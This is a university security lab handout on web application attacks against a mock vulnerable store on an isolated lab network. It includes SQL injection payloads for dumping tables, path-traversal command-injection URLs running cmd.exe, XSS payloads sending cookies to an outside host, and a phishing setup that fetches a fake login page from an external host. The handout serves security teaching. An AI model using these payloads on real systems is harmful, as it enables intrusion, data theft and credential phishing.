ECE 4112: Internetwork Security
Lab 12: Web Application Security
Group Number: ___________
Member Names: _______________
_______________
Please read the entire lab and any extra materials carefully before starting. Be sure to
start early enough so that you will have time to complete the lab. Answer ALL questions
and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE
the Date Due.
Date: November 16, 2005
Date Due: November 23, 2005
Last Revised: December 2, 2004
Written by: Jason Trost, Tracey Diamond, Kyle Forkner, and Brandon Olekas.
Goal:
The goal of this lab is to examine various tools and techniques that can be
used to exploit weaknesses in web applications.
Summary:
This lab will introduce techniques that can be used to exploit
vulnerabilities in web applications. These exploits include using SQL injection to obtain
database information, OS commanding, cross site scripting, and phishing attacks.
Equipment Needed:
The Windows 2000 Server image stored on the
NAS should be set up as the web application server the students will attack. To attack the
web application, students will need to use IE from one of their Windows XP virtual
machines.
Background and Theory:
The following is a combined version of the following three articles:
1. http://www.securityfocus.com/infocus/1704
2. http://www.securityfocus.com/infocus/1709
3. http://www.securityfocus.com/infocus/1722
Web applications are becoming more prevalent and increasingly more sophisticated, and
as such they are critical to almost all major online businesses. As with most security
issues involving client/server communications, Web application vulnerabilities generally
1
stem from improper handling of client requests and/or a lack of input validation checking
on the part of the developer.
The very nature of Web applications - their ability to collate, process and disseminate
information over the Internet - exposes them in two ways. First and most obviously, they
have total exposure by nature of being publicly accessible. This makes security through
obscurity impossible and heightens the requirement for hardened code. Second and most
critically from a penetration testing perspective, they process data elements from within
HTTP requests - a protocol that can employ a myriad of encoding and encapsulation
techniques.
Most Web application environments (including ASP and PHP), expose these data
elements to the developer in a manner that fails to identify how they were captured and
hence what kind of validation and sanity checking should apply to them. Because the
Web "environment" is so diverse and contains so many forms of programmatic content,
input validation and sanity checking is the key to Web applications security. This
involves both identifying and enforcing the valid domain of every user-definable data
element, as well as a sufficient understanding of the source of all data elements to
determine what is potentially user definable.
The Root of the Issue: Input Validation
Input validation issues can be difficult to locate in a large code base with lots of user
interactions, which is the main reason that developers employ penetration testing
methodologies to expose these problems. Web applications are, however, not immune to
the more traditional forms of attack. Poor authentication mechanisms, logic flaws,
unintentional disclosure of content and environment information, and traditional binary
application flaws (such as buffer overflows) are rife. When approaching a Web
application as a penetration tester, all this must be taken into account, and a methodical
process of input/output or "blackbox" testing, in addition to (if possible) code auditing or
"whitebox" testing, must be applied.
What exactly is a Web application?
A Web application is an application, generally comprised of a collection of scripts that
reside on a Web server and interact with databases or other sources of dynamic content.
They are fast becoming ubiquitous as they allow service providers and their clients to
share and manipulate information in an (often) platform-independent manner via the
infrastructure of the Internet. Some examples of Web applications include search engines,
webmail, shopping carts and portal systems.
2
How does it look from the users perspective?
Web applications typically interact with the user via FORM elements and GET or POST
variables (even a 'Click Here' button is usually a FORM submission). With GET
variables, the inputs to the application can be seen within the URL itself, however with
POST requests it is often necessary to study the source of form-input pages (or capture
and decode valid requests) in order to determine the users inputs.
An example HTTP request that might be provided to a typical Web application is as
follows:
GET /sample.php?var=value&var2=value2
HTTP/1.1
Session-ID: 361873127da673c
Host: www.webserver.com
<CR><LF><CR><LF>
|
|
|
|
|
|
HTTP-METHOD REQUEST-URI
PROTOCOL/VERSION
Session-ID Header
Host Header
Two carriage return line
feeds
Every element of this request can potentially be used by the Web application processing
the request. The REQUEST-URI identifies the unit of code that will be invoked along
with the query string: a separated list of &variable=value pairs defining input parameters.
This is the main form of Web applications input. The Session-ID header provides a token
identifying the client's established session as a primitive form of authentication. The Host
header is used to distinguish between virtual hosts sharing the same IP address and will
typically be parsed by the Web server, but is, in theory, within the domain of the Web
application.
As a penetration tester you must use all input methods available to you in order to elicit
exception conditions from the application. Thus, you cannot be limited to what a browser
or automatic tools provide. It is quite simple to script HTTP requests using utilities like
netcat and telnet. The process of exhaustive blackbox testing a Web application is one
that involves exploring each data element, determining the expected input, manipulating
or otherwise corrupting this input, and analyzing the output of the application for any
unexpected behavior.
The Information Gathering Phase
Fingerprinting the Web Application Environment
One of the first steps of the penetration test should be to identify the Web application
environment, including the scripting language and Web server software in use, and the
operating system of the target server. All of these crucial details are simple to obtain from
a typical Web application server through the following steps:
3
1. Investigate the output from HEAD and OPTIONS http requests
The header and any page returned from a HEAD or OPTIONS request will usually
contain a SERVER: string or similar detailing the Web server software version and
possibly the scripting environment or operating system in use.
OPTIONS / HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:02:45 GMT
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL,
PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private
2.
Investigate the format and wording of 404/other error pages
Some application environments (such as ColdFusion) have customized and
therefore easily recognizable error pages, and will often give away the software
versions of the scripting language in use. The tester should deliberately request
invalid pages and utilize alternate request methods (POST/PUT/Other) in order to
glean this information from the server.
Below is an example of a ColdFusion 404 error page:
4
3.
Test for recognized file types/extensions/directories
Many Web services (such as Microsoft IIS) will react differently to a request for a
known and supported file extension than an unknown extension. The tester should
attempt to request common file extensions such as .ASP, .HTM, .PHP, .EXE and
watch for any unusual output or error codes.
GET /blah.idq HTTP/1.0
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 04 Jun 2003 11:12:24 GMT
Content-Type: text/html
<HTML>The IDQ file blah.idq could not be found.
4.
Examine source of available pages
The source code from the immediately accessible pages of the application frontend may give clues as to the underlying application environment.
<title>Home Page</title>
<meta content="Microsoft Visual Studio 7.0" name="GENERATOR">
<meta content="C#" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
In this situation, the developer appears to be using MS Visual Studio 7. The
underlying environment is likely to be Microsoft IIS 5.0 with .NET framework.
5.
Manipulate inputs in order to elicit a scripting error
In the example below the most obvious variable (ItemID) has been manipulated to
fingerprint the Web application environment:
5
6.
TCP/ICMP and Service Fingerprinting Using traditional fingerprinting tools
such as Nmap and Queso, or the more recent application fingerprinting tools Amap
and WebServerFP, the penetration tester can gain a more accurate idea of the
underlying operating systems and Web application environment than through many
other methods. NMAP and Queso examine the nature of the host's TCP/IP
implementation to determine the operating system and, in some cases, the kernel
version and patch level. Application fingerprinting tools rely on data such as
Server HTTP headers to identify the host's application software.
Javascript and other client-side code can also provide many clues as to the inner workings
of a Web application. This is critical information when blackbox testing. Although the
whitebox (or 'code-auditing') tester has access to the application's logic, to the blackbox
tester this information is a luxury which can provide for further avenues of attack. For
example, take the following chunk of code:
<INPUT TYPE="SUBMIT" onClick="
if (document.forms['product'].elements['quantity'].value >= 255) {
document.forms['product'].elements['quantity'].value='';
alert('Invalid quantity');
return false;
} else {
return true;
}
">
This suggests that the application is trying to protect the form handler from quantity
values of 255 of more - the maximum value of a tinyint field in most database systems. It
would be trivial to bypass this piece of client-side validation, insert a long integer value
into the 'quantity' GET/POST variable and see if this elicits an exception condition from
the application.
The Blackbox Testing Method
The blackbox testing method is a technique for hardening and penetration-testing Web
applications where the source code to the application is not available to the tester. It
forces the penetration tester to look at the Web application from a user's perspective (and
therefore, an attacker's perspective). The blackbox tester uses fingerprinting methods to
probe the application and identify all expected inputs and interactions from the user. The
blackbox tester, at first, tries to get a 'feel' for the application and learn its expected
behavior. The term blackbox refers to this Input/UnknownProcess/Output approach to
penetration testing.
6
The tester attempts to elicit exception conditions and anomalous behavior from the Web
application by manipulating the identified inputs - using special characters, white space,
SQL keywords, oversized requests, and so forth. Any unexpected reaction from the Web
application is noted and investigated. This may take the form of scripting error messages
(possibly with snippets of code), server errors (HTTP 500), or half-loaded pages.
Figure 1 - Blackbox testing GET variables
Any strange behavior on the part of the application, in response to strange inputs, is
certainly worth investigating as it may mean the developer has failed to validate inputs
correctly!
SQL Injection Vulnerabilities
Many Web application developers (regardless of the environment) do not properly strip
user input of potentially "nasty" characters before using that input directly in SQL
queries. Depending on the back-end database in use, SQL injection vulnerabilities lead to
varying levels of data/system access for the attacker. It may be possible to not only
manipulate existing queries, but to UNION in arbitrary data, use sub-selects, or append
additional queries. In some cases, it may be possible to read in or write out to files, or to
execute shell commands on the underlying operating system.
Locating SQL Injection Vulnerabilities
Often the most effective method of locating SQL injection vulnerabilities is by hand studying application inputs and inserting special characters. With many of the popular
backends, informative errors pages are displayed by default, which can often give clues to
the SQL query in use: when attempting SQL injection attacks, you want to learn as much
as possible about the syntax of database queries.
7
Figure 2 - Potential SQL injection vulnerability
Figure 3 - Another potential SQL injection hole
Example: Authentication by-pass using SQL injection
This is one of the most commonly used examples of an SQL injection vulnerability, as it
is easy to understand for non-SQL-developers and highlights the extent and severity of
these vulnerabilities. One of the simplest ways to validate a user on a Web site is by
providing them with a form, which prompts for a username and password. When the form
is submitted to the login script (eg. login.asp), the username and password fields are used
as variables within an SQL query.
8
Examine the following code (using MS Access DB as our backend):
user = Request.form("user")
pass = Request.form("pass")
Set Conn = Server.CreateObject("ADODB.Connection")
Set Rs = Server.CreateObject("ADODB.Recordset")
Conn.Open (dsn)
SQL = "SELECT C=COUNT(*) FROM users where pass='" & pass & "' and
user='" & user & "'"
rs.open (sql,conn) if rs.eof or rs.bof then
response.write "Database Error"
else
if rs("C") < 1 then
response.write "Invalid Credentials"
else
response.write "Logged In"
end if
end if
In this scenario, no sanity or validity checking is being performed on the user and pass
variables from our form inputs. The developer may have client-side (eg. Javascript)
checks on the inputs, but as has been demonstrated in the first part of this series, any
attacker who understands HTML can bypass these restrictions. If the attacker were to
submit the following credentials to our login script:
user: test' OR '1'='1
pass: test
the resulting SQL query would look as follows:
SELECT * FROM users where pass='test' and user='test' OR '1' = '1'
In plain English, "access some data where user and pass are equal to 'test', or 1 is equal to
1." As the second condition is always true, the first condition is irrelevant, and the query
data is returned successfully - in this case, logging the attacker into the application.
For recent examples of this class of vulnerability, please refer to
http://www.securityfocus.com/bid/4520 and http://www.securityfocus.com/bid/4931.
Both of these advisories detail SQL authentication issues similar to the above.
Code and Content Injection
What is code injection? Code injection vulnerabilities occur where the output or content
served from a Web application can be manipulated in such a way that it triggers server9
side code execution. In some poorly written Web applications that allow users to modify
server-side files (such as by posting to a message board or guestbook) it is sometimes
possible to inject code in the scripting language of the application itself.
Server Side Includes (SSI)
SSI is a mechanism for including files using a special form of HTML comment which
predates the include functionality of modern scripting languages such as PHP and JSP.
Older CGI programs and 'classic' ASP scripts still use SSI to include libraries of code or
re-usable elements of content, such as a site template header and footer. SSI is interpreted
by the Web server, not the scripting language, so if SSI tags can be injected at the time of
script execution these will often be accepted and parsed by the Web server. Methods of
attacking this vulnerability are similar to those shown above for scripting language
injection. SSI is rapidly becoming outmoded and disused, so this topic will not be
covered in any more detail.
Miscellaneous Injection
There are many other kinds of injection attacks common amongst Web applications.
Since a Web application primarily relies upon the contents of headers, cookies and
GET/POST variables as input, the actions performed by the application that is driven by
these variables must be thoroughly examined. There is a potentially limitless scope of
actions a Web application may perform using these variables: open files, search
databases, interface with other command systems and, as is increasingly common in the
Web services world, interface with other Web applications. Each of these actions requires
its own syntax and requires that input variables be sanity-checked and validated in a
unique manner.
Cross Site Scripting
Cross Site Scripting attacks (a form of content-injection attack) differs from the many
other attack methods covered in this article in that it affects the client-side of the
application (ie. the user's browser). Cross Site Scripting (XSS) occurs wherever a
developer incorrectly allows a user to manipulate HTML output from the application this may be in the result of a search query, or any other output from the application where
the user's input is displayed back to the user without any stripping of HTML content.
Cookies
Cookies are a mechanism for maintaining persistent data on the client side of a HTTP
exchange. They are not part of the HTTP specification, but are a de-facto industry
standard based on a specification issued by Netscape. Cookies involve the use of HTTP
header responses to set values on the client side, and in client requests to provide these
10
values back to the server side. The value is set using a 'Set-Cookie' header and returned
using a 'Cookie' header. Take the following example of an exchange of cookies. The
client requests a resource, and receives in the headers of the response:
Set-Cookie: PASSWORD=g0d; path=/; expires=Friday, 20-Jul-03 23:23:23 GMT
When the client requests a resource in path "/" on this server, it sends:
Cookie: PASSWORD=g0d
The browser is responsible for storing and retrieving cookie values. In both Netscape and
Internet Explorer this is done using small temporary files; the security of these
mechanisms is beyond the scope of this article, we are more concerned with the problems
with cookies themselves.
Cookies are often used to authenticate users to an application. If the user's cookie is stolen
or captured, an attacker can impersonate that user. There have been numerous browser
vulnerabilities in the past that allow attackers to steal known cookies.
Cookies should be treated by the developer as another form of user input and be subjected
to the same validation routines. There have been numerous examples in the past of SQL
injection and other vulnerabilities that are exploitable through manipulating cookie
values. Refer to http://www.securityfocus.com/bid/6890, and
http://www.securityfocus.com/bid/8349 specific examples of these vulnerabilities.
Prelab Questions:
None.
Lab Scenario:
For this lab we will be accessing a web server on the Mininet
whose IP address is 57.35.6.2. This web sever hosts a mock website whose web
applications are vulnerable to various web application attacks.
Section 1: Information Gathering
In this section you are going to gather basic information about the web server such as the
web server software and version, and listening ports on the web server.
Banner Grabbing:
On your Redhat 8.0 machine, use telnet or netcat to connect to the web server and gather
some useful information.
# telnet 57.35.6.2 80
11
-OR# nc 57.35.6.2 80
Once connected type some HTTP commands to solicit information about the type of web
server. After typing one of these commands type <ENTER> twice to get the response
back.
HEAD/HTTP/1.1
-orOPTIONS/HTTP/1.1
Q1.1. What web server software and version is the server running?
Q1.2. How is this information useful?
Port Scan:
Use nmap to complete a simple TCP port scan on the server.
# nmap -sT 57.35.6.2
Q1.3. Take a screenshot of the output (Screenshot #1).
Q1.4. Based on what type of web server software is running and on what ports are
open, what database server software do you think is running on the server?
Note: This is not a production environment. Normally the database server and the web
server are not run on the same machine.
Section 2: SQL Injection
Section 2.1. Simple SQL Injection:
In this section, you will explore SQL injection attacks. The website being hosted on the
web server is vulnerable to SQL injection. On either your Redhat 8.0 machine or on your
Windows XP virtual machine, open this site in a web browser: http://57.35.6.2. Wait for
the page to load (it may take a while).
In the bottom left hand corner of the webpage, click the link “Recover your account
password”. You will see a form with “Full Name” and “Email” fields. If you type a
single quote (apostrophe) in the Full Name field and enter a random email address, and
then click Submit, the program will return: “Unclosed quotation mark before the
12
character string '''.'' This by itself will not give you any data, and it does not indicate that
this web application is necessarily vulnerable to SQL injection. Now, you will test to see
if this particular web application is vulnerable to SQL injection by passing it part or an
SQL statement. Type the following in the Full Name field (you may need to enter an
email address also) and then click Submit.
' OR '1'='1
Q2.1.1. What was displayed at the top of the page in red text, and what do you think
this is?
Since the above statement did not give an input validation error, we know that this web
application is subject to SQL Injection attacks. Now let's try some more advanced SQL
queries.
Type the following in the Full Name field and then click Submit:
' UNION SELECT name FROM sysobjects WHERE name != 'd
Q2.1.2. What was your result and what do you think this is?
Section 2.2. Table Name Enumeration:
In the last SQL statement, you used a query that involved the sysobjects table. Sysobjects
is a table used by Microsoft SQL Server to store all the table names in the database.
Knowing this, it is possible to find other table names from sysobjects.
Now change the Full Name field to:
' UNION SELECT name FROM sysobjects WHERE name > 'Categories
Then click Submit.
Q2.2.1. Use this method to enumerate the first six table names, and list them here.
Section 2.3. Enumerating Column names:
One of the tables you enumerated should have been Customers. This table contains
customer information (shocking isn't it). Try the following query:
' UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='Customers
This query should return the first column name, CustomerID. Now try this query to get
the next column name:
13
' UNION SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE
TABLE_NAME='Customers' AND COLUMN_NAME > 'CustomerID
Use the above method to enumerate all of the column names. (Note: When you get a
“Recovery Failed” error, it means that you have enumerated all of the column names.
Q2.3.1. List all of the column names from the Customers table (Hint: there should
be 4 column names total).
Section 2.4. Collecting table data:
Now that we know the column names from the Customer table, we should be able to start
extracting rows from it. Try the following queries to extract the first row of the
Customers table (Note: you must replace column1, column2, column3, and column4 with
the real column names that you enumerated from section 2.3):
' UNION SELECT top 1
column1 FROM Customers WHERE '1'='1
This should return “1”
' UNION SELECT
column2 FROM Customers WHERE column1 = '1
This should return “James Bondwell”
' UNION SELECT
column3 FROM Customers WHERE column1 = '1
This should return “jb@ibuyspy.com”
' UNION SELECT
column4 FROM Customers WHERE column1 = '1
This should return “IBS_007”:
14
Q2.4.1. Using the above queries extract the first 4 rows of this table. Fill in the
following table with the remaining rows using the above technique:
column1
column2
column3
column4
1
jb@ibuyspy.com
James Bondwell
IBS_007
Q 2.4.2. What do you think can be done to correct this problem by the web
developers of this site?
Section 3: OS Commanding
Section 3.1. Predictable File Locations:
After the initial install of a web application or server, some administrators may lazily
leave files in predictable locations. Files such as an install readme, or FTP transfer log
may be accessible from the main website. In this case, the administrator has left a readme
file in the website directory that can be accessed by the following URL:
http://57.35.6.2/readme.txt
After reading this file it should be clear that OS commands are executable as described in
the file.
Section 3.2. Executing OS Commands:
Use the following command in an IE browser on one of your XP machines to ping your
8.0 machine.
http://57.35.6.2/StoreCSVS/(sessionID)/Default.aspx?AdminMode=..\..\..\..\winnt\system
32\ping.exe%20w.x.y.z
w.x.y.z should be the IP address for your 8.0 machine.
15
Q 3.2.1 Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #2)
You can also list the directory structure and files for specific directories with the
following command:
http://57.35.6.2/StoreCSVS/(sessionID)/Default.aspx?AdminMode=..\..\..\..\winnt\system
32\cmd.exe%20/c%20dir%20c:\inetpub\wwwroot\
Q 3.2.2 Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #3)
As you can see from the previous commands, direct execution of system calls can provide
lots of features that an attacker could use to exploit the system.
Q 3.2.3. What steps can be taken to avoid OS command execution?
Section 4: Cross Site Scripting Attacks
Section 4.1. Background Information:
From CGISecurity’s XSS FAQ available at: www.cgisecurity.com/articles/xss-faq.shtml.
Cross site scripting (or XSS) occurs when dynamic web applications gather malicious
data about a user. Dynamic sections of Javascript, VBScript, or ActiveX can be insterted
into guestbook or forum pages that when displayed, will be executed by the users
browser. By specially formatting these scripts, the attacker can steal user's information
such as cookies that can be used to hijack their account.
To test for possible XSS vulnerabilities, place a simple Javascript alert message
(<script>alert(XSS)</script>) into a section of the website which can be viewed again.
Because forums allow users to post messages and view those posted by others, they create
the perfect environment for XSS attacks. After you have posted the above message, view
your post to see if your browser displays the pop-up alert message. If the script has been
executed, an XSS vulnerability exists and you may be able to steal user's cookies.
For an attacker to steal your information, you still have to click on, or view, a specially
formulated link which contains the XSS exploit as well as information on where to send
or store your information. These links must be constructed so that on execution, they still
load the application page as normal. To keep users from viewing the script commands in
16
the XSS exploit link, an attacker will usually convert the text into a Hex value to disguise
it.
CGISecurity provides a simple example of hijacking a user’s cookies by redirecting the
cookie from a PHP application to their own site that simply records all information.
http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi
-bin/cookie.cgi?'%20+document.cookie</script>
To view the cookies collected by the script, go to: http://www.cgisecurity.com/cgibin/cookie.cgi. This site holds a list of all cookies collected by the application.
In the above example, the attacker has closed the form that interprets the variable var with
the > character. The attacker then inserts a simple Javascript the redirects the user's
cookie to the CGISecurity website where it can be logged. Although this link can be
easily avoided if you look at the location or status bar before clicking, the following Hex
conversion is unreadable and may still be clicked on.
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%7
5%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%
3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63
%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67
%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65
%3c%2f%73%63%72%69%70%74%3e
The above text includes the same text as the above ASCII link, but all characters have
been converted into their Hex value.
Section 4.2. Locating Possible XSS Vulnerabilities:
In this lab you will be testing the IBuySpy.com web application located at http://57.35.6.2
for XSS vulnerabilities.
After browsing to http://57.35.6.2/, you will be greeted with a default page that provides
some common shopping and web forum services. For this section, we will be focusing
on the web board forums.
Click the WWWBoard link in the top right hand corner of the page. Since this board
requires no authentication, you don't need to login to search for exploits.
You can either reply to a previous message, or start your own thread. In either case, after
you have entered the name (use group## where ## is your group number), email, and
subject text, enter the following text in the message section:
<script>alert(document.cookie)</script>
17
After you click submit, you will be sent to a page that displays the message you have just
posted to the board. While interpreting the html for this view, your Javascript is
interpreted and you can see the cookie information the application has created for you.
Q 4.2.1 Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #4)
Q 4.2.2. If you were creating a web application and needed to write a forum section,
what steps should you take to make sure no XSS vulnerabilities will occur?
Section 4.3. Real World Vulnerabilities:
Take a look at the Gmail XSS exploit discussed in the following Security Tracker article
posted on November 20, 2004. The exploit has been fixed, but the information provided
in the article may still provide useful information.
http://www.securitytracker.com/alerts/2004/Nov/1012289.html
Note that the ‘zx’ variable that is used for authentication is not properly checked for
scripting characters which allows attackers to access cookies created by the site.
Q 4.3.1. How can I avoid XSS attacks?
Section 5: Phishing Attacks
Section 5.1. Background Information:
Phishing attacks are used by attackers to obtain personal information such as login and
password combos, credit card, and even social security numbers. These attacks are
usually spread by email and involve the attacker setting up a fake website that looks
identical to the login page of a reputable business. Most attackers have been mimicking
banks or loan corporations attempting to gain login information that can later be used to
make transactions. A study in November, 2004 showed a 110% increase in the number of
active phishing sites from just the previous month.
Section 5.2. Phishing Example:
From the initial webpage found at: http://57.35.6.2, click on the Sign In image. Note that
the page is Login.aspx. This original login page does some input checking that you
18
should observe such as email format checking.
After an attacker realizes that he can execute arbitrary commands, he realizes that he
could modify the website to launch a phishing attack.
The attacker first examines the structure of the site by entering the following URLs into a
web browser:
http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=..\..\..\..\winnt\syste
m32\cmd.exe%20/c%20dir%20C:\
http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=..\..\..\..\winnt\syste
m32\cmd.exe%20/c%20dir%20C:\Inetpub\
http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=..\..\..\..\winnt\syste
m32\cmd.exe%20/c%20dir%20C:\Inetpub\wwwroot
Next the attacker creates a fake login page that looks exactly like the real one, but it steals
the login information. Then the attacker uses a script that he found on the web server
(get.bat) to transfer his malicious login page from his website to the vulnerable web
server.
http://10.0.0.174/StoreCSVS/(session_id)/Default.aspx?AdminMode=..\..\..\..\winnt\syste
m32\cmd.exe%20/c+c:\perl\bin\get.bat+http://www.hacker.com/~haX0r/Login1.aspx+>+
C:\ StoreCSVS \ StoreCSVS \Login1.aspx
To view the other page, use the following link:
http://57.35.6.2/StoreCSVS/(session_id)/Login1.aspx
Note the ‘1’ after the Login text, this minor difference, along with the source, are the only
viewable differences between the files.
If you view the source, you will see that all validation code in Login1.aspx has been
removed, and the form has been changed to point to show_info.aspx. This simple page
just displays the information you submitted into the form from the login page.
Place your group number string (groupxx) in either the email or password fields, and
after login take a screenshot of the resulting show_info.aspx page.
Q 5.2.1. Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #5)
Login using the account you created previously, or just some random information. Once
you have submitted the form, you will be redirected to the show_info.aspx page that will
19
display your email and password from the login page as well as provide a link back to the
original application. (Note that when the link is followed, the session ID changes and the
normal Welcome banner is not present because you have not logged in.) Normally, this
page would not be shown to the user, and would point to a different server controlled by
the attacker. The user's login information would be recorded silently, and the user would
probably be returned to the initial webpage after an error message.
Section 5.3. Real World Example:
Recently, Citibank was the target of attackers hoping to collect credit card numbers from
users. The Anti-Phishing Workgroup’s writup on the incident should show you just how
complicated these attacks can become. You can find the article here:
http://www.antiphishing.org/phishing_archive/Citibank_3-31-04.htm
Notice how the URL in the email appears to come from a Citibank server, web.daus.citibank.com. However, upon redirect, the real IP for the server is 69.52.202.82.
Other impressive techniques used for this attack include the use of https, even though no
actual SSL information is transferred, and no padlock appears in the bottom right of the
browser. The site follows the normal Citibank website layout, and asks for the
information in the email. Finally, if you use the same browser window to surf to a
different website, the fake Citibank frame stays in control. (Note the ‘Welcome to Citi’
browser title)
By looking at the Anti-Phishing Workgoup’s homepage
(http://www.antiphishing.org/index.html), you can see how frequent and dangerous this
type of attack has become.
Q 5.3.1. Usually these attacks are spread through email, as a banking or finance
institution, what steps can you employ to make sure users are aware of phishing
attacks?
Q 5.3.2. If you receive an email asking you to follow a link and login to protect your
account, what steps can you use to make sure the page is authentic?
20
Section 6: Achilles Web Proxy
Section 6.1: Background Information
Achilles is a tool designed for testing the security of web applications. Achilles is a proxy
server, which acts as a man-in-the-middle during an HTTP session. A typical HTTP
proxy will relay packets to and from a client browser and a web server. Achilles will
intercept an HTTP session's data in either direction and give the user the ability to alter
the data before transmission. For example, during a normal HTTP SSL connection a
typical proxy will relay the session between the server and the client and allow the two
end nodes to negotiate SSL. In contrast, when in intercept mode, Achilles will pretend to
be the server and negotiate two SSL sessions, one with the client browser and another
with the web server. As data is transmitted between the two nodes, Achilles decrypts the
data and gives the user the ability to alter and/or log the data in clear text before
transmission.
Section 6.2: Installation
Achilles can be obtained from http://i.b5z.net/i/u/1268303/f/tools/achilles_0_27.zip.
For this lab, the Achilles tool can be found on the NAS in /mnt/nas4112/Lab12/.
On your Windows machine, unzip the file to c:\Achilles.
Section 6.3: Setup
Achilles Configuration
Using windows explorer, navigate to c:\Achilles and double-click Achilles.exe. Select
“intercept mode” and “intercept client data”. Set the timeout boxes to 99 sec to prevent
lost data. Now, press the start button.
Web Browser Configuration
1.
2.
3.
4.
In Internet Explorer, go into Tools  Internet Options  Connections
Click on “LAN Settings”
Select “Use a proxy server” in the proxy server dialog box
Go into Advanced settings and set the proxy address to 127.0.0.1 and the port to
5000 in the HTTP and secure boxes only
Section 6.3: Practical application
Enter a web request to your local server in the request window. Notice the http request in
your Achilles window. Press “Send” on Achilles to forward the request to the server. Go
to a location in the site with a form. Enter information into the form and submit it.
21
Q 6.3.1: Take a screenshot of the POST data in the Achilles window (Screenshot #6)
Submit this data and look at the screen. Now post something else in the form and alter
one of the parameters. Observe the screen that comes up. How did it change?
22
ECE 4112: Internetwork Security
Lab 12: Web Application Security
Group Number: ___________
Member Names: _______________
_______________
Section 1: Information Gathering
Q1.1. What web server software and version is the server running?
Q1.2. How is that information useful?
Q1.3. Take a screenshot of the output (Screenshot #1).
Q1.4. Based on what type of web server software is running and on what ports are
open, what database server software do you think is running on the server?
Section 2: SQL Injection
Section 2.1. Simple SQL Injection:
Q2.1.1. What was displayed at the top of the page in red text, and what do you think
this is?
Q2.1.2. What was your result and what do you think this is?
23
Section 2.2. Table Name Enumeration:
Q2.2.1. Use this method to enumerate the first six table names, and list them here.
1. Categories
4.
2.
5.
3.
6.
Section 2.3. Enumerating Column names:
Q2.3.1. List all of the column names from the Customers table (Hint: there should
be 4 column names total).
1.
2.
3.
4.
Section 2.4. Collecting table data:
Q2.4.1. Using the above queries extract the first 4 rows of this table. Fill in the
following table with the remaining rows using the above technique:
column1
column2
column3
column4
1
jb@ibuyspy.com
James Bondwell
IBS_007
Q 2.4.2. What do you think can be done to correct this problem by the web
developers of this site?
24
Section 3: OS Commanding
Q 3.2.1. Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #2)
Q 3.2.2. Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #3)
Q 3.2.3. What steps can be taken to avoid OS command execution?
Section 4: Cross Site Scripting Attacks
Q 4.2.1. Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #4)
Q 4.2.2. If you were creating a web application and needed to write a forum section,
what steps should you take to make sure no XSS vulnerabilities will occur?
Q 4.3.1. How can I avoid XSS attacks?
Section 5: Phishing Attacks
Q 5.2.1. Take a screenshot of the resulting page and turn it in with your report.
(Screenshot #5)
25
Q 5.3.1. Usually these attacks are spread through email, as a banking or finance
institution, what steps can you employ to make sure users are aware of phishing
attacks?
Q 5.3.2. If you receive an email asking you to follow a link and login to protect your
account, what steps can you use to make sure the page is authentic?
Section 6: Achilles Web Proxy
Q 6.3.1: Take a screenshot of the POST data in the Achilles window (Screenshot #6)
How long did it take you to complete this lab? Was it an appropriate length lab?
What corrections and or improvements do you suggest for this lab? Please be very
specific and if you add new material give the exact wording and instructions you
would give to future students in the new lab handout. You may cross out and edit
the text of the lab on previous pages to make corrections/suggestions. Note that part
of your lab grade is what improvements you make to this lab. You may want to
search the world wide web for other DoS tools. What tools can we add to this lab
that teach something else new? You need to be very specific and provide details.
Caution as usual: only extract and use the tools you downloaded in the safe and
approved environment of the network security laboratory.
Turn-in Checklist


Answer Sheet
Screenshots #1-6
26